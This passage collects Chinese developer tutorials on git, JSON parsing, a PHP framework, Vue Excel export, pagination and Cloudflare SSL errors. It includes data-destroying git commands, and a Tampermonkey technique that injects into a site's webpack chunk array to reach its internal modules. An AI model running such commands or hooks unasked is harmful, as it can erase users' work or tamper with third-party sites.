开发者继续会出问题。根本解决办法是清理远程仓库中的重复文件。 PHP 框架的额外风险 PHP 的 PSR-4 自动加载依赖文件名映射,如果保留了小写文件名但代码里用的是大写类名: new Model_RiderAudit(); // 加载 RiderAudit.php在 Linux 上 autoloader 找不到文件会报 Class not found。 解决后建议全局搜索: grep -R "RiderAudit\|Rideraudit" . --include="*.php"确认所有引用和文件名一致。
git pull --rebase 报 unstaged changes 的四种处理方法
报错场景 git pull --rebase输出: error: cannot pull with rebase: You have unstaged changes. error: please commit or stash them.这是 Git 在执行 rebase 前的保护机制:工作区有未提交修改时,rebase 可能覆盖这些改动,所以拒绝继续。 先确认修改范围: git status方案一:暂存后拉取再恢复(最常用) 保留改动,暂时藏起来: git stash git pull --rebase git stash popstash pop 会把改动重新应用到工作区。如果有冲突,手动解决后 git stash drop 清掉暂存记录。 查看所有 stash: git stash list # stash@{0}: WIP on main: abc1234 last commit message恢复指定 stash(保留记录): git stash apply stash@{0}方案二:提交后再 rebase 如果改动已经完整,直接提交: git add . git commit -m "WIP: 临时提交" git pull --rebaserebase 会把这次提交放在远端最新提交之后,之后可以 git commit --amend 修改提交信息或 git rebase -i HEAD~2 整理提交记录。 方案三:丢弃本地修改 如果这些修改确定不要了: git reset --hard HEAD git pull --rebase如果还有未跟踪的文件也想清掉: git clean -fdreset --hard 和 clean -fd 都是不可逆操作,请确认后执行。方案四:开启自动 stash(推荐长期配置) 新版 Git 支持 --autostash 标志,在 rebase 前自动暂存、完成后自动恢复: git pull --rebase --autostash一次性使用;也可以永久开启: git config --global rebase.autoStash true开启后 git pull --rebase 自动执行以下流程: stash → pull --rebase → stash pop场景速查情况 推荐方案改动要保留,不想提交 stash → pull → stash pop改动完整,可以提交 commit → pull --rebase改动不需要了 reset --hard → pull日常频繁拉取 rebase.autoStash = true常见追问 stash pop 有冲突怎么办? 手动解决冲突后: git add <冲突文件> git stash drop # 清掉 stash 记录为什么不直接 git pull 而是 --rebase? git pull 默认是 fetch + merge,会产生 merge commit;--rebase 把本地提交移到远端之后,保持线性历史,更干净。 git stash 会暂存未跟踪文件吗? 默认不会。加 -u 参数: git stash -u # 包含 untracked files git stash -a # 包含 untracked + ignored files
量化交易中的 Universe:股票池定义、过滤规则与数据获取
Universe 是什么 量化交易里,Universe(投资宇宙 / 股票池)指策略允许选股和交易的资产集合。简单理解: Universe = 你的策略在哪些股票里选比如:沪深 300 成分股(300 只) 中证 500 成分股(500 只) 全 A 股剔除 ST、停牌、次新股后的剩余标的 某个行业的所有上市公司为什么要定义 Universe A 股有 5000+ 只股票。如果不做筛选,直接在全市场跑因子计算:计算量大,速度慢 流动性差的股票出信号无法成交 次新股、ST 股信号质量差,噪声多先定义好 Universe,再在 Universe 里做因子计算、排名、选股,是量化策略的标准流程: 全市场(5000+只) ↓ Universe 过滤 符合条件的股票池(如 3000 只) ↓ 因子计算 每只股票打分 ↓ 排序选股 前 N 名 → 下单交易静态 Universe 直接用指数成分股,每次调仓时更新成分股列表: import akshare as ak# 沪深 300 成分股 df = ak.index_stock_cons_csindex(symbol="000300") universe = df["成分券代码"].tolist()# 中证 500 df = ak.index_stock_cons_csindex(symbol="000905") universe = df["成分券代码"].tolist()动态 Universe 每天收盘后重新计算,根据流动性、市值等条件动态生成: import pandas as pddef build_universe(daily_data: pd.DataFrame) -> list: """ daily_data: 包含 code, close, volume, market_cap, is_st, list_days 等列 """ universe = daily_data[ (~daily_data["is_st"]) & # 剔除 ST (daily_data["list_days"] >= 60) & # 上市满 60 天 (daily_data["volume"] > 0) & # 非停牌 (daily_data["market_cap"] > 5e9) & # 市值 > 50 亿 (daily_data["turnover_20d"] > 5e7) # 20 日均成交额 > 5000 万 ] return universe["code"].tolist()常用 Universe 类型Universe 说明 适合策略沪深 300 成分股 蓝筹龙头,流动性好 低换手率、稳健因子中证 500 成分股 中盘股,成长性较好 中小盘因子中证 1000 成分股 小盘股,弹性大 小盘动量、题材全 A 剔除 ST/停牌 覆盖面广 全市场扫描行业 Universe 限定某一行业 行业轮动、配对交易在量化框架中使用 JoinQuant(聚宽): from jqdata import get_index_stocksuniverse = get_index_stocks("000300.XSHG") # 沪深 300Qlib: # qlib 配置文件 market: csi300vn.py / 自研框架: universe = build_universe(daily_df)for code in universe: factor_score = compute_factor(code) ...Universe 与 AI Agent 量化 在 AI Agent 驱动的量化系统里,Universe 还有另一层含义:限定 Agent 的分析范围。 universe: - A股 - 港股 - ETF配置好 Universe 后,Agent 的新闻抓取、因子计算、持仓分析都限制在这个范围内,避免无限制扩散导致计算量和 Token 消耗失控。
Python JSONDecodeError 排查:NaN、不完整结构、数字字符串的常见坑
JSONDecodeError 定位 json.loads() 报错时,JSONDecodeError 对象携带精确位置信息: import jsontry: data = json.loads(content) except json.JSONDecodeError as e: print(f"错误信息: {e.msg}") print(f"行号: {e.lineno}, 列号: {e.colno}") print(f"字符偏移: {e.pos}") print(f"出错内容: {content[max(0, e.pos-50):e.pos+50]}")原因一:裸 NaN / Infinity JSON 规范不允许 NaN 和 Infinity 作为数值字面量,只有加了引号的字符串 "NaN" 才合法: # 合法 json.loads('{"value": "NaN"}') # OK,返回字符串# 非法 json.loads('{"value": NaN}') # JSONDecodeError: Expecting value json.loads('{"value": Infinity}') # JSONDecodeError如果数据源返回了裸 NaN,需要预处理: import recleaned = re.sub(r'\bNaN\b', '"NaN"', content) data = json.loads(cleaned)原因二:内容不是完整 JSON 常见错误是将多个 JSON 对象直接拼接(不用数组包裹): # 非法:两个对象并排 content = '{"a": 1}, {"b": 2}' json.loads(content) # JSONDecodeError# 合法:用数组包裹 content = '[{"a": 1}, {"b": 2}]' json.loads(content) # OK另一种情况是只收到了响应的一部分(网络截断),pos 错误位置通常在字符串末尾。 原因三:数字存为字符串 JSON 中数字加了引号,解析后得到字符串而非数值: {"x": "1228.8650628969294", "z": "NaN"}data = json.loads(content) type(data["x"]) # str,不是 float# 需要手动转换 x = float(data["x"])# z 是 "NaN" 字符串,转 float 得到 nan z = float(data["z"]) # float('nan') import math math.isnan(z) # True原因四:编码问题 非 UTF-8 编码的文件用 json.loads 读取会报错: # 读取文件时指定编码 with open('data.json', 'r', encoding='utf-8') as f: data = json.load(f)# 如果来源是 bytes data = json.loads(raw_bytes.decode('utf-8'))快速调试模板 import json, tracebackdef safe_parse(content: str): try: return json.loads(content), None except json.JSONDecodeError as e: context_start = max(0, e.pos - 30) context_end = min(len(content), e.pos + 30) snippet = content[context_start:context_end] marker = ' ' * (e.pos - context_start) + '^' print(f"JSONDecodeError at line {e.lineno}, col {e.colno}:") print(snippet) print(marker) return None, e
Python JSONDecodeError 排查清单:从 NaN 到编码 BOM
json.loads 抛 JSONDecodeError 时,异常信息里有行号、列号、字节偏移量——先把这三个印出来,问题基本就定位了: import jsontry: data = json.loads(content) except json.JSONDecodeError as e: print(e) print("line:", e.lineno, "col:", e.colno, "pos:", e.pos) print(content[max(0, e.pos - 40): e.pos + 40])最后一行把出错位置前后 40 个字符打出来,肉眼就能看出问题。以下是几种常见踩坑。 1. 根本不是合法 JSON(最常见) 抓了一段"对象序列"贴进来: { "id": 1 }, { "id": 2 }这不是合法 JSON,缺个数组外壳。要么改成: [ { "id": 1 }, { "id": 2 } ]要么按字段包一层: { "objects": [...] }2. NaN / Infinity 没引号 标准 JSON 不支持 NaN、Infinity。这样合法: {"z": "NaN"} ← 字符串这样非法: {"z": NaN} ← Python json.loads 会崩服务端如果是 Python json.dumps(..., allow_nan=True) 输出的,可能就是裸 NaN。解决办法: import json data = json.loads(content, parse_constant=lambda x: None) # 或 data = content.replace("NaN", "null") data = json.loads(data)3. 结尾多逗号 也是非标准 JSON: { "a": 1, "b": 2, ← 这个逗号 Python 不接受 }用 json5 或者预处理正则去掉最后一个逗号: import re content = re.sub(r",\s*([}\]])", r"\1", content)4. UTF-8 BOM 从 Windows 记事本另存的 JSON 常带 BOM,第一个字符是 : json.loads(content) # JSONDecodeError: Expecting value: line 1 column 1 (char 0)读文件时用 utf-8-sig: with open("data.json", encoding="utf-8-sig") as f: data = json.load(f)5. 数字全被当字符串了 不会抛异常,但会让下游算错: {"x": "1228.86"}type(obj["x"]) 是 str,要计算得先转: x = float(obj["x"])批量转的话用一个小函数: def to_float_fields(d, fields): for f in fields: if f in d: d[f] = float(d[f]) return d6. 单引号不是 JSON 从 Python print(dict) 复制的字符串是单引号: {'id': 1, 'name': 'Tom'}这不是 JSON,是 Python repr。要么请对方 json.dumps 输出,要么本地 ast.literal_eval: import ast data = ast.literal_eval("{'id': 1, 'name': 'Tom'}")literal_eval 只解析字面量,比 eval 安全得多。 一句话总结 JSONDecodeError 第一步永远是把 e.pos 附近的原文打出来。九成情况能在 30 秒内定位到具体字符是啥。
Windows 查看端口被哪个进程占用:netstat / PowerShell / 资源监视器
cmd 方式(最常用) 打开命令提示符(管理员权限更好),查看指定端口: netstat -ano | findstr :9000输出示例: TCP 0.0.0.0:9000 0.0.0.0:0 LISTENING 12345末尾的 12345 是进程 PID,再查进程名: tasklist | findstr 12345输出: php-cgi.exe 12345 Console 1 25,200 Kphp-cgi.exe 就是占用 9000 端口的进程。 PowerShell 方式 直接查指定端口: Get-NetTCPConnection -LocalPort 9000输出包含 OwningProcess(PID),再查进程: Get-Process -Id (Get-NetTCPConnection -LocalPort 9000).OwningProcess这一条命令可以直接得到进程名,不需要中间步骤。 资源监视器(图形界面) 运行 resmon,进入「网络」→「监听端口」选项卡,直接看各进程占用的端口列表,也可以在「CPU」→「关联的句柄」里搜索端口号。 释放端口(结束进程) 拿到 PID 后,cmd: taskkill /F /PID 12345PowerShell: Stop-Process -Id 12345 -Force/F 或 -Force 表示强制终止,不等进程自行退出。 常见场景现象 原因启动服务报 Address already in use 端口被其他程序占用多个服务共用同一端口 需要改端口配置php-cgi / node / java 没停干净 上次启动的进程残留找到 PID 之后,先确认进程名再决定是否结束——别误杀系统进程。
用 Composer 从零搭建 PHP 框架:Router、IoC 容器、Middleware 到 ServiceProvider
自己搭一个最小 PHP 框架是理解 Laravel 架构的最好方式,比直接读 Laravel 源码有效得多。 项目结构 my-framework/ ├── app/ │ └── Controller/ │ └── HomeController.php ├── public/ │ └── index.php ├── src/ │ ├── Router.php │ ├── Container.php │ └── Middleware.php ├── vendor/ └── composer.json第一步:Composer 初始化 mkdir my-framework && cd my-framework composer initcomposer.json: { "name": "me/framework", "autoload": { "psr-4": { "App\\": "app/", "Framework\\": "src/" } } }生成自动加载文件: composer dump-autoload第二步:最小 Router src/Router.php: <?php namespace Framework;class Router { private array $routes = []; public function get(string $uri, $action): void { $this->routes['GET'][$uri] = $action; } public function post(string $uri, $action): void { $this->routes['POST'][$uri] = $action; } public function dispatch(): void { $method = $_SERVER['REQUEST_METHOD']; $uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH); if (isset($this->routes[$method][$uri])) { call_user_func($this->routes[$method][$uri]); return; } http_response_code(404); echo "404 Not Found"; } }入口文件 public/index.php: <?php require '../vendor/autoload.php';use Framework\Router; use App\Controller\HomeController;$router = new Router(); $router->get('/', [HomeController::class, 'index']); $router->dispatch();启动: php -S localhost:8000 -t public第三步:IoC 容器(依赖注入) Laravel 的核心是 Container,不是 Router。 src/Container.php: <?php namespace Framework;use ReflectionClass;class Container { private array $bindings = []; public function bind(string $abstract, callable $factory): void { $this->bindings[$abstract] = $factory; } public function make(string $class): object { if (isset($this->bindings[$class])) { return ($this->bindings[$class])($this); } // 用反射自动解析构造函数依赖 $ref = new ReflectionClass($class); $constructor = $ref->getConstructor(); if (!$constructor) { return new $class(); } $params = array_map( fn($p) => $this->make($p->getType()->getName()), $constructor->getParameters() ); return $ref->newInstanceArgs($params); } }这样 $container->make(HomeController::class) 会自动实例化其所有依赖: class HomeController { public function __construct( private UserService $userService ) {} }第四步:Middleware 请求流程:Request → Middleware → Controller → Response <?php namespace Framework;class Middleware { private array $stack = []; public function add(callable $middleware): void { $this->stack[] = $middleware; } public function run(callable $handler): void { $runner = array_reduce( array_reverse($this->stack), fn($next, $mw) => fn() => $mw($next), $handler ); $runner(); } }示例认证中间件: $middleware->add(function (callable $next) { if (!isset($_SESSION['user'])) { http_response_code(401); echo '请先登录'; return; } $next(); });第五步:ServiceProvider <?php namespace Framework;abstract class ServiceProvider { public function __construct( protected Container $app ) {} abstract public function register(): void; }示例: class DatabaseServiceProvider extends ServiceProvider { public function register(): void { $this->app->bind('db', fn($app) => new Database( config('database.host'), config('database.name') )); } }注册: (new DatabaseServiceProvider($container))->register();学习路线Router + 自动加载 → 理解 HTTP 分发 Container + ReflectionClass → 理解依赖注入 Middleware → 理解 Laravel Pipeline ServiceProvider → 理解 Laravel 服务注册 自己实现后再看 Laravel 源码,对照理解完成前 3 步后基本就能看懂 Laravel 入口流程了。
用 Composer 从零搭一个 PHP mini 框架:路由 + PSR-4 + 容器
想理解 Laravel、Symfony 是怎么跑起来的,别一头扎进它们的源码——十几万行随便一个 ServiceProvider 就把人绕晕。自己用 Composer 手写一个 100 行的 mini 框架,把路由、自动加载、IoC 弄明白,再去看大框架就轻松了。 目录结构 my-framework/ ├── app/ │ └── Controller/ │ └── HomeController.php ├── public/ │ └── index.php ├── src/ │ ├── Router.php │ ├── Container.php │ └── Response.php ├── vendor/ # composer install 后生成 └── composer.jsonapp/ 是业务代码、src/ 是框架核心、public/ 是入口。 composer.json 与 PSR-4 mkdir my-framework && cd my-framework composer init改 composer.json: { "name": "you/mini-framework", "type": "project", "require": { "php": ">=8.1" }, "autoload": { "psr-4": { "App\\": "app/", "Framework\\": "src/" } } }生成自动加载器: composer dump-autoloadPSR-4 的规则很简单:类的命名空间路径 = 文件相对路径。App\Controller\HomeController 就在 app/Controller/HomeController.php。 Router:50 行的路由 src/Router.php: <?php namespace Framework;class Router { private array $routes = []; public function get(string $path, callable|array $handler): void { $this->routes['GET'][$path] = $handler; } public function post(string $path, callable|array $handler): void { $this->routes['POST'][$path] = $handler; } public function dispatch(): void { $method = $_SERVER['REQUEST_METHOD']; $path = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH); $handler = $this->routes[$method][$path] ?? null; if (!$handler) { http_response_code(404); echo "404 Not Found"; return; } // 支持 [Controller::class, 'method'] if (is_array($handler)) { [$class, $method] = $handler; $instance = new $class(); echo $instance->$method(); return; } // 支持匿名函数 echo $handler(); } }入口 public/index.php: <?php require __DIR__ . '/../vendor/autoload.php';use Framework\Router; use App\Controller\HomeController;$router = new Router();$router->get('/', fn() => "Hello Framework"); $router->get('/home', [HomeController::class, 'index']);$router->dispatch();Controller: <?php namespace App\Controller;class HomeController { public function index(): string { return "home page"; } }跑起来: php -S localhost:8000 -t public访问 http://localhost:8000/ 和 /home 都能看到内容。 到这里,Laravel 最核心的三件事你都实现了:Composer PSR-4 加载、路由、控制器分发。 第二步:加个 IoC 容器 Laravel 的灵魂其实不是路由,是容器(Container / Service Container)。它做两件事:帮你 new 对象,自动注入构造参数 让你把接口绑定到具体实现,实现依赖倒置最简版本: <?php namespace Framework;use ReflectionClass;class Container { private array $bindings = []; public function bind(string $abstract, callable|string $concrete): void { $this->bindings[$abstract] = $concrete; } public function make(string $class): object { // 1. 有绑定就走绑定 if (isset($this->bindings[$class])) { $c = $this->bindings[$class]; return is_callable($c) ? $c($this) : $this->make($c); } // 2. 反射构造函数依赖,递归 make $ref = new ReflectionClass($class); $ctor = $ref->getConstructor(); if (!$ctor) return new $class(); $args = []; foreach ($ctor->getParameters() as $p) { $type = $p->getType()?->getName(); $args[] = $type ? $this->make($type) : null; } return $ref->newInstanceArgs($args); } }用法: class Logger { public function log(string $msg): void { file_put_contents('log', $msg); } }class UserService { public function __construct(public Logger $logger) {} }$c = new Container(); $user = $c->make(UserService::class); // 自动注入 Logger $user->logger->log("hello");这 40 行代码就是 Laravel Container 的核心思路。真正的 Laravel 加了:方法注入、上下文绑定、单例、tag、event、缓存反射等等,本质还是这个。 后续可以往上加 按需实现,每加一个都是一次深度理解:Middleware — 前后置拦截 Request/Response 对象 View 层(模板引擎或 Blade 简版) ORM(先用 PDO 封个 Query Builder) Event / Listener CLI 命令(symfony/console 或自己写) Config 加载 环境变量(vlucas/phpdotenv)一步步加,你会发现 Laravel 每个模块都能对应上。 一句话总结 Composer PSR-4 + Router + Container,三件套加起来 100 行代码,就是一个能跑的 mini 框架。学 Laravel 前先自己写一遍,再去看源码会很轻松。
Vue 3 前端导出 Excel:xlsx + file-saver 封装 useExportExcel
安装 npm install xlsx file-saver基础用法 import * as XLSX from 'xlsx' import { saveAs } from 'file-saver'const data = [ { name: '张三', age: 18, city: '北京' }, { name: '李四', age: 20, city: '上海' } ]const ws = XLSX.utils.json_to_sheet(data) const wb = XLSX.utils.book_new() XLSX.utils.book_append_sheet(wb, ws, 'Sheet1')const buf = XLSX.write(wb, { bookType: 'xlsx', type: 'array' }) const blob = new Blob([buf], { type: 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' })saveAs(blob, '数据.xlsx')封装 useExportExcel // useExportExcel.js import * as XLSX from 'xlsx' import { saveAs } from 'file-saver' import { ref } from 'vue'export function useExportExcel() { const exporting = ref(false) const exportExcel = (data = [], fileName = '数据表', headerMap = {}) => { if (!data.length) return exporting.value = true try { // 按 headerMap 重命名列 const exportData = data.map(row => { const newRow = {} Object.keys(row).forEach(key => { newRow[headerMap[key] || key] = row[key] }) return newRow }) const ws = XLSX.utils.json_to_sheet(exportData) const wb = XLSX.utils.book_new() XLSX.utils.book_append_sheet(wb, ws, 'Sheet1') const buf = XLSX.write(wb, { bookType: 'xlsx', type: 'array' }) const blob = new Blob([buf], { type: 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' }) saveAs(blob, `${fileName}.xlsx`) } finally { exporting.value = false } } const exportSelected = (allData, selectedRows, fileName, headerMap = {}) => { exportExcel(selectedRows?.length ? selectedRows : allData, fileName, headerMap) } return { exporting, exportExcel, exportSelected } }配合 Element Plus el-table 使用 <template> <el-button :loading="exporting" @click="onExportAll">导出全部</el-button> <el-button :loading="exporting" @click="onExportSelected">导出选中</el-button> <el-table :data="tableData" @selection-change="selectedRows = $event"> <el-table-column type="selection" /> <el-table-column prop="name" label="姓名" /> <el-table-column prop="age" label="年龄" /> <el-table-column prop="city" label="城市" /> </el-table> </template><script setup> import { ref } from 'vue' import { useExportExcel } from './useExportExcel'const tableData = ref([ { name: '张三', age: 18, city: '北京' }, { name: '李四', age: 20, city: '上海' } ])const selectedRows = ref([])const { exporting, exportExcel, exportSelected } = useExportExcel()const headerMap = { name: '姓名', age: '年龄', city: '城市' }const onExportAll = () => exportExcel(tableData.value, '用户列表', headerMap) const onExportSelected = () => exportSelected(tableData.value, selectedRows.value, '选中用户', headerMap) </script>导出 DOM table 如果页面已有 <table> 元素,不需要操作数据,直接从 DOM 生成: const table = document.getElementById('myTable') const wb = XLSX.utils.table_to_book(table) XLSX.writeFile(wb, 'table.xlsx')大数据后端流式下载 超过 5 万行时前端导出会明显卡顿(浏览器内存限制),推荐后端生成流式 Excel: const exportExcelFromServer = async (params) => { const res = await axios({ url: '/api/export', method: 'get', params, responseType: 'blob' }) const blob = new Blob([res.data]) const link = document.createElement('a') link.href = URL.createObjectURL(blob) link.download = '数据.xlsx' link.click() URL.revokeObjectURL(link.href) }后端(Laravel + Maatwebsite\Excel): return Excel::download(new UserExport(), 'users.xlsx');
油猴脚本获取 __webpack_require__:webpackChunk.push 注入比 Hook call 更稳
为什么 Hook Function.prototype.call 不好用 一种常见思路是拦截 webpack 模块执行时的 call: const oldCall = Function.prototype.call;Function.prototype.call = function (...args) { if (this.name == '84686') { webpackRequire = args[3]; } return oldCall.apply(this, args); };这个方法有两个核心问题:webpack 模块函数通常没有名字,this.name 是 '' 或 anonymous,而不是模块 ID,所以 this.name == '84686' 几乎永远不成立。性能灾难:现代前端框架(React、Vue、Webpack Runtime)每秒调用 call 数以万次,全部经过你的 hook,页面直接卡死。另外,如果 webpack 已经执行完才开始 hook,Function.prototype.call 根本拿不到任何东西——模块早就加载完了。 正确方案:向 webpackChunk 注入入口模块 webpack 5 会在 window 上挂一个全局数组,名字通常是 webpackChunk 加项目名前缀。向这个数组 push 一个特殊的 chunk,可以在 runtime 函数里拿到 __webpack_require__: // 找到 webpackChunk 数组 const chunkKey = Object.keys(window).find(k => k.startsWith('webpackChunk'));if (chunkKey) { let webpackRequire; window[chunkKey].push([ [Symbol()], // chunk ID(用 Symbol 避免冲突) {}, // 模块定义(空) function (require) { webpackRequire = require; // 在这里拿到 __webpack_require__ } ]); console.log(webpackRequire); // 现在可以用 webpackRequire(模块ID) 访问任意模块 }这个方法有效的原因:即使 webpack 已经执行完,也可以通过这种方式从现有的 chunk 数组里拿到 __webpack_require__,因为 webpack 会立即处理新 push 进来的 chunk。 在 webpack 执行前 Hook(如果需要监听所有模块) 如果你的目标是在每个模块加载时做点什么(比如修改特定模块的导出),需要在 webpack 执行之前 hook push 方法: const chunkKey = Object.keys(window).find(k => k.startsWith('webpackChunk'));const oldPush = window[chunkKey].push;window[chunkKey].push = function (...args) { const runtime = args[0][2]; // 拦截 runtime 函数 if (typeof runtime === 'function') { args[0][2] = function (__webpack_require__) { // 保存引用 window._webpackRequire = __webpack_require__; return runtime.apply(this, arguments); }; } return oldPush.apply(this, args); };用 webpack_require 访问模块 拿到 __webpack_require__ 后,可以直接访问任意 webpack 模块: // 按模块 ID 获取模块导出 const lodash = webpackRequire(96486); const mtopModule = webpackRequire(82122);console.log(lodash); console.log(mtopModule.default);模块 ID 可以在浏览器 Sources 面板里搜索特征字符串定位,也可以遍历 webpackRequire.m(模块注册表)查找: Object.keys(webpackRequire.m).forEach(id => { const src = webpackRequire.m[id].toString(); if (src.includes('targetFunction')) { console.log('found at module id:', id); } });油猴脚本注意:@run-at 时机 在 Tampermonkey 里使用时,需要根据目的选择合适的 @run-at:时机 说明document-start 最早,适合在 webpack 执行前 hook pushdocument-end 适合页面加载完后注入 chunk 拿引用如果 webpack 在 DOMContentLoaded 之前执行完,用 document-start + push hook;如果只是要访问模块,用 document-end + push 注入即可。
分页 API 全量遍历:Python 与 JavaScript 实现模式
分页接口通常返回 totalCount、pageSize、当页数据。需要全量数据时,用 while 循环按页请求即可。 Python 实现 按 totalCount 推进(稳定写法) import mathpage_size = 20 current = 1 all_items = []while True: params = { "status": "ON_SALE", "current": current, "pageSize": page_size } response = fetchProductList(params) data = response.get("model", []) all_items.extend(data) total_count = response.get("totalCount", 0) total_pages = math.ceil(total_count / page_size) print(f"已获取第 {current}/{total_pages} 页") if current >= total_pages: break current += 1print(f"总共获取 {len(all_items)} 条")按当页数量判断末页(防 totalCount 不准) 如果接口的 totalCount 有时不准确,用当页返回数量是否小于 pageSize 来判断末页更稳: page_size = 20 current = 1 all_items = []while True: params = {"status": "ON_SALE", "current": current, "pageSize": page_size} response = fetchProductList(params) items = response.get("model", []) if not items: break all_items.extend(items) print(f"获取第 {current} 页,{len(items)} 条") if len(items) < page_size: break current += 1生成器模式(内存友好) 适合商品数量很大、需要边翻页边处理的场景: def iter_products(): current = 1 page_size = 20 while True: resp = fetchProductList({ "status": "ON_SALE", "current": current, "pageSize": page_size }) items = resp.get("model", []) if not items: break yield from items if len(items) < page_size: break current += 1for item in iter_products(): print(item["title"])JavaScript 实现 async/await 版本 async function getAllProducts() { const pageSize = 20; let current = 1; const allItems = []; while (true) { const response = await fetchProductList({ status: "ON_SALE", current, pageSize }); const items = response?.model || []; if (items.length === 0) { break; } allItems.push(...items); console.log(`获取第 ${current} 页,${items.length} 条`); if (items.length < pageSize) { break; } current++; } console.log(`总共获取 ${allItems.length} 条`); return allItems; }const products = await getAllProducts();按 totalCount 计算总页数 async function getAllProducts() { const pageSize = 20; let current = 1; let totalPages = 1; const allItems = []; while (current <= totalPages) { const response = await fetchProductList({ status: "ON_SALE", current, pageSize }); const items = response?.model || []; allItems.push(...items); totalPages = Math.ceil((response.totalCount || 0) / pageSize); console.log(`获取第 ${current}/${totalPages} 页`); current++; } return allItems; }流式处理(不存全量数据) 适合直接对每条数据执行操作(改价格、同步库存等),避免一次性把几千条数据加载到内存: let current = 1; const pageSize = 20;while (true) { const response = await fetchProductList({ status: "ON_SALE", current, pageSize }); const items = response?.model || []; if (!items.length) { break; } for (const item of items) { // 在这里处理每条商品 await updateStock(item.id, item.quantity); } if (items.length < pageSize) { break; } current++; }两种终止条件对比策略 适用场景 风险current >= totalPages totalCount 准确 totalCount 不准时多/少请求items.length < pageSize 更通用 最后一页恰好整除时多一次空请求两种可以结合使用:先按 totalPages 推进,同时检查当页数量作为保险。
API 分页设计:Offset vs Cursor(Keyset)怎么选
后端接口拉列表几乎都要分页。最常见的是 current + pageSize: { "current": 1, "pageSize": 20 }简单直观,但数据量大 + 频繁翻页 + 数据在变化的场景下有致命问题。生产上大厂 API(GitHub、Slack、Stripe)都在推 Cursor 分页。 Offset 分页的两个坑 1. 深度分页越来越慢 SQL 长这样: SELECT * FROM products ORDER BY created_at DESC LIMIT 20 OFFSET 1000000;数据库要扫过前 100 万行才能扔掉、再取 20 行。1000 万条数据翻到第 500 页,实测能到秒级。 原因:MySQL 不知道"跳过 100 万行"能不能走索引——即使能,也要真的扫过去。 2. 数据漂移 分页过程中数据在增删——用户看到重复或者漏掉。 例子:翻第 1 页看到 20 条 → 有人删了第 5 条 → 翻第 2 页时,原本第 21 条变成了第 20 条,被跳过。 对于列表实时更新的场景(订单、动态、评论流),Offset 分页几乎必然会有这种漏项。 Cursor 分页(Keyset) 思路:用"上一页最后一条的位置"作为下一页起点,不用 offset。 -- 第一页 SELECT * FROM products ORDER BY created_at DESC, id DESC LIMIT 20;-- 第二页(用上一页最后一条的 created_at + id 作为起点) SELECT * FROM products WHERE (created_at, id) < ('2026-06-04 13:00:00', 998765) ORDER BY created_at DESC, id DESC LIMIT 20;关键点:有索引的排序字段(created_at、id) 元组比较处理并列时间 走索引 range scan,速度不随深度衰减接口设计 Offset 版本: // 请求 { "current": 3, "pageSize": 20 }// 响应 { "list": [...], "total": 12345, "current": 3, "pageSize": 20 }Cursor 版本: // 请求 { "cursor": "eyJ0IjoxNzE3NDg...", "pageSize": 20 }// 响应 { "list": [...], "nextCursor": "eyJ0IjoxNzE3NDg2...", "hasMore": true }cursor 通常是 Base64 编码的 {time, id} 之类的组合,客户端不需要理解内容,直接透传。 Cursor 具体怎么生成 import base64, jsondef encode_cursor(last_row): payload = {"t": last_row.created_at.isoformat(), "id": last_row.id} return base64.urlsafe_b64encode(json.dumps(payload).encode()).decode()def decode_cursor(cursor): return json.loads(base64.urlsafe_b64decode(cursor))# API 侧 if cursor: c = decode_cursor(cursor) rows = db.execute(""" SELECT * FROM products WHERE (created_at, id) < (?, ?) ORDER BY created_at DESC, id DESC LIMIT ? """, [c["t"], c["id"], page_size]) else: rows = db.execute(""" SELECT * FROM products ORDER BY created_at DESC, id DESC LIMIT ? """, [page_size])next_cursor = encode_cursor(rows[-1]) if len(rows) == page_size else None两者对比维度 Offset Cursor简单度 ✅ 直观 需要理解元组比较深度分页性能 ❌ 越来越慢 ✅ 常数时间支持随机跳页 ✅ 可以直接第 N 页 ❌ 只能顺序翻数据变化时稳定 ❌ 漏项 / 重复 ✅ 稳定需要 total 计数 ✅ 好算 ❌ 通常不返回支持排序 任意 排序字段必须唯一 + 有索引什么时候用哪个 用 Offset:后台管理系统的表格(数据不常变、用户会跳页) 数据总量不大(几千到几万条) 客户端要显示"第 5 / 100 页"这种明确导航用 Cursor:时间流列表(订单、聊天、动态、日志) 数据量大(十万+) 客户端做"上拉加载更多"(不需要跳页) 数据实时增删两个都做:GitHub API 大多支持 ?page=N(Offset)和 ?before=cursor(Cursor),场景多的时候都提供。 顺带:total 慢查询 Offset 分页返回 total 时,SELECT COUNT(*) 在千万级表上也会慢。优化:缓存 total(Redis,几分钟一次异步刷新) 估算 total(PostgreSQL pg_class.reltuples、MySQL INFORMATION_SCHEMA.TABLES) 只算前几页的精确 total,之后返回 total: null 或 hasMore: true 就够一句话总结 大数据 + 时间流用 Cursor(速度不衰减、结果稳定)、后台管理小表格用 Offset(简单、支持跳页)。别把 Offset 用在千万级实时数据的 API 上。
Cloudflare 525 SSL handshake failed 排查全流程
某天访问站点,Cloudflare 直接抛了个 525: { "title": "Error 525: SSL handshake failed", "status": 525, "detail": "The SSL/TLS handshake between Cloudflare and the origin server failed." }意思就是——Cloudflare 收到了请求,但它和你的源站之间的 TLS 握手没建起来。不是 Cloudflare 挂了,是源站 SSL 有问题。 常见 8 种原因 1. 源站证书失效 在源站本机测: echo | openssl s_client -servername example.com -connect example.com:443看输出里有没有: Verify return code: 0 (ok)如果出现 certificate has expired,证书过期了,续签或换证书。 2. Nginx 证书和私钥不匹配 分别算 MD5,两边必须一致: openssl x509 -noout -modulus -in cert.pem | md5sum openssl rsa -noout -modulus -in key.pem | md5sum不一致就是配错了。 3. TLS 版本太老 Cloudflare 现在只接受 TLS 1.2 / 1.3。Nginx 配置里明确写清: ssl_protocols TLSv1.2 TLSv1.3;4. Cipher Suite 不兼容 某些老配置写得太激进(HIGH:!aNULL:!MD5 只留少数几个),Cloudflare 找不到共同 cipher。用 nmap 探一下源站支持哪些: nmap --script ssl-enum-ciphers -p 443 <origin-ip>5. Cloudflare 用了 Full (strict) 模式 Dashboard → SSL/TLS → Overview 里检查模式:Flexible:Cloudflare 到源站走 HTTP Full:源站要有证书(不校验) Full (strict):源站必须有效证书、链完整、域名匹配如果是 strict,用 Cloudflare Origin CA 签的证书最省事。 6. 证书链不完整(最常见的坑) 如果 openssl s_client 里出现: verify error:num=20:unable to get local issuer certificate多半是 Nginx 只配了 cert.pem 而不是 fullchain.pem。 正确写法: ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem; ssl_certificate_key 